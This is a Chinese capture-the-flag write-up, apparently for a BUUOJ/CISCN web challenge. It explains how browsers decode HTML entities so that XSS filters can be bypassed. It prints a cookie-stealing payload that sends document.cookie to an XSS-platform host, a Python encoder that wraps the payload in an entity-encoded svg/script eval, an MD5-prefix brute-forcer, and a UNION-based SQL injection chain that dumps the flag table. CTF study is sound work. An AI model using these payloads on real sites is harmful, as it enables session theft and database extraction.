测试后发现会过滤一些特殊字符,用实体编码绕过

---
[XSS编码与绕过](https://www.cnblogs.com/flycat-2016/p/6507543.html)
浏览器从接收代码,到渲染完成的过程有三个主要部分:
1.HTML/SVG/XHTML 解析,解析这三种文件会产生一个DOM Tree
2.CSS解析,解析CSS会产生CSS Rule Tree(不过重点不在这就不总结了(~~抄原文~~))
3.Javascript DOM,通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree

最早解析HTML的时候,将标签转换为内容树中的DOM节点,此时是无法识别实体编码的,只有建立起DOM树后,才能对每个节点的内容进行识别,进行实体解码。而Javascript DOM API可以对DOM树进行结构和内容上的修改。

编码与解码发生的顺序:
1.url解析:比如说我们get/post了一段urlencode内容,浏览器直接发送给服务器,服务器来进行url解析
2.HTML解析:浏览器接收到页面数据后,进行HTML解析,构造DOM树,是不会做解码工作的。而DOM树构造完毕后,HTML实体编码的内容就会被解码
3.CSS编码
4.JS解释器:在处理一些`<script>` `<style>`等标签时,解析器会自动切换到特殊解析模式。DOM 操作实际上是js强势介入 HTML 和CSS 的结果,使用DOM 操作,对DOM Tree 造成了改变,会调用到HTML 解析器重新对其解析,那么节点内容的实体编码就会被解码,再次触发js的解析


---

用提供的xss平台默认模块下生成的payload
```js
(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=NWUOIb&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
`

进行实体编码(&#+ascii(c))

1
2
3
4
5
6
7
xss="(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=NWUOIb&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
enc_xss=""
for i in xss:
enc_xss+="&#"+str(ord(i))

payload="<svg><script>eval&#40&#34"+enc_xss+"&#34&#41</script>"
print(payload)

payload提交到投稿,反馈界面提交投稿文章的url
md5:

1
2
3
4
5
6
7
import hashlib

for i in range(1, 10000000):
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "f3ff5e":
print(i)
break

用收到的cookie登录admin.php
查询用户id sql注入

1
2
3
4
5
6
-1 union select 1,2 -- not found
-1 union select 1,2,3 -- 你查询的用户是:2 : 3
-1 union select 1,2,database() -- 2:ciscn
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn' --2:flag,users
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag' --2:flagg
-1 union select 1,2,group_concat(flagg) from ciscn.flag